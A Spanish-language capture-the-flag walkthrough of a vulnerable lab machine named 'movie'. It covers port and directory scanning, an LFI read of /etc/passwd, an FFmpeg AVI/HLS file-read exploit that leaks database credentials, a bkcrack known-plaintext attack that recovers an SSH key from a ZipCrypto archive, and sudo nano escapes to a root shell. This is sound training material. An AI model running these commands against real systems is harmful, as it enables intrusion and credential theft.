Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 15:05 -03
Nmap scan report for 192.168.1.30
Host is up (0.00039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 e7:c1:40:66:c0:be:c8:86:dd:58:21:4a:03:76:78:12 (RSA)
| 256 86:9f:0d:8f:f1:e0:62:90:65:cf:79:ee:5e:e3:12:01 (ECDSA)
|_ 256 2a:e0:ac:89:49:dd:e5:3a:8f:47:36:7a:2f:07:11:b8 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: movie.hmv
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 secondsEnumeración web
Enumeramos directorios con gobuster sobre la raíz y sobre /data:
❯ gobuster dir -u 192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/home.html (Status: 200) [Size: 552]
/index.php (Status: 200) [Size: 552]
/data (Status: 200) [Size: 449]
/upload.php (Status: 200) [Size: 0]
/dist (Status: 200) [Size: 1299]
/404.html (Status: 200) [Size: 920]
...
❯ gobuster dir -u movie.hmv/data -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php (Status: 200) [Size: 449]
/login.php (Status: 200) [Size: 449]
/logout.php (Status: 200) [Size: 449]
/config.php (Status: 200) [Size: 0]
/dist (Status: 200) [Size: 1311]
/404.html (Status: 200) [Size: 920]
...Complementamos con dirb, que además descubre el sitemap.xml:
❯ dirb http://192.168.1.30 -o dirb_results -R
...
==> DIRECTORY: http://192.168.1.30/data/
==> DIRECTORY: http://192.168.1.30/dist/
+ http://192.168.1.30/index.php (CODE:200|SIZE:552)
+ http://192.168.1.30/server-status (CODE:403|SIZE:277)
+ http://192.168.1.30/sitemap.xml (CODE:200|SIZE:762)
==> DIRECTORY: http://192.168.1.30/data/dist/
+ http://192.168.1.30/data/index.php (CODE:302|SIZE:0)
...Dentro del sitemap.xml aparece el dominio movie.hmv, que agregamos a nuestro /etc/hosts.
LFI en index.php
Probamos LFI sobre los .php descubiertos fuzzeando el nombre del parámetro con ffuf y filtrando por el tamaño de la respuesta por defecto (-fs 552):
❯ ffuf -u "http://movie.hmv/index.php?FUZZ=/etc/passwd" -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/api/api-seen-in-wild.txt -fs 552
...
get_page [Status: 200, Size: 1547, Words: 16, Lines: 29, Duration: 2ms]
...El parámetro vulnerable es get_page.
FFmpeg Local File Read
El sitio es un conversor de vídeos que internamente usa FFmpeg. Investigando el método de conversión descubrimos que FFmpeg es vulnerable a un Local File Read (CVE-2016-1897) a través de listas de reproducción HLS embebidas en un AVI. Usamos el exploit de neex/ffmpeg-avi-m3u-xbin para generar un .avi que, al ser procesado, lea config.php:
❯ python3 gen_xbin_avi.py file:///var/www/html/data/config.php config.aviSubimos el archivo, descargamos la versión convertida y, al reproducirla, vemos en pantalla las credenciales de la base de datos. Probamos esas credenciales en el login descubierto durante la enumeración de directorios y obtenemos acceso, que nos entrega un ZIP cifrado.
Ataque de texto plano a ZipCrypto (bkcrack)
Con 7z listamos el contenido y atributos del archivo:
❯ 7z l -slt mydata_archive.zipDescubrimos que el tipo de cifrado es ZipCrypto, vulnerable a un ataque de texto plano conocido. Descargamos bkcrack y listamos el contenido del ZIP:
❯ bkcrack -L mydata_archive.zip
bkcrack 1.6.1 - 2024-01-22
Archive: mydata_archive.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 ZipCrypto Store 6f47b605 919 931 404.html
1 ZipCrypto Store a7786ca6 552 564 home.html
2 ZipCrypto Store 00d78482 2602 2614 id_rsa
3 ZipCrypto Store 7e43bef8 143 155 index.php
4 ZipCrypto Store da810eb6 762 774 sitemap.xml
5 ZipCrypto Store ce6bb0d1 1881 1893 upload.phpEl archivo contiene varios ficheros interesantes, entre ellos una id_rsa. Como sabemos con certeza que home.html comienza por <!DOCTYPE html>, lo usamos como texto plano conocido. Creamos el plano y lo comprimimos:
❯ echo '<!DOCTYPE html>' > plain
❯ zip plain.zip plainEjecutamos el ataque para recuperar las claves internas del cifrado:
❯ bkcrack -C mydata_archive.zip -c home.html -P plain.zip -p plain
bkcrack 1.6.1 - 2024-01-22
[19:54:11] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[19:54:12] Attack on 725361 Z values at index 6
Keys: d706e724 da372a68 a79864b0
1.0 % (7474 / 725361)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 7474
[19:54:24] Keys
d706e724 da372a68 a79864b0Con las claves encontradas generamos un nuevo ZIP descifrado, asignándole la contraseña password:
❯ bkcrack -C mydata_archive.zip -k d706e724 da372a68 a79864b0 -U pwned.zip password
bkcrack 1.6.1 - 2024-01-22
[19:57:12] Writing unlocked archive pwned.zip with password "password"
100.0 % (6 / 6)
Wrote unlocked archive.Dentro está la id_rsa que suponemos pertenece al usuario tarantino, y nos da acceso por SSH:
❯ ssh tarantino@192.168.1.12 -i id_rsa
...
tarantino@movie:~$Obtenemos la primera flag.
Escalada de privilegios (sudo nano)
Revisamos sudo -l:
tarantino@movie:~$ sudo -l
Matching Defaults entries for tarantino on movie:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tarantino may run the following commands on movie:
(root) NOPASSWD: /usr/bin/nano /etc/passwdPodemos ejecutar nano como root sobre /etc/passwd. Desde un nano privilegiado hay más de un camino para obtener una shell.
Camino 1 — abrir un fichero con el buscador (Ctrl+R) y escapar a comando (Ctrl+X):
sudo -u root nano /etc/passwd
ctrl + r
ctrl + x
reset; sh 1>&0 2>&0Camino 2 — ejecutar un comando externo (Ctrl+T) para asignar SUID a bash:
sudo -u root nano /etc/passwd
ctrl + t
chmod u+s /bin/bash
tarantino@movie:~$ /bin/bash -p
bash-5.1# whoami
rootObtenemos la segunda flag.
Fin.